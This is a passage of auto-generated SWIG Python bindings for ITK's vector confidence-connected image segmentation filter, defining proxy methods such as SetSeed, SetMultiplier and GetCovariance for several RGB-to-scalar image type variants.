def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_Clone, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetMean, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_swigregister
itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_swigregister(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2)
def itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 *":
"""itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2(itkImageToImageFilterBPython.itkImageToImageFilterIRGBUC2IUS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self) -> itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_Clone, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetMean, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_swigregister
itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_swigregister(itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2)
def itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2 *":
"""itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3(itkImageToImageFilterBPython.itkImageToImageFilterIRGBUC3ISS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self) -> itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self) -> unsigned int const &"""
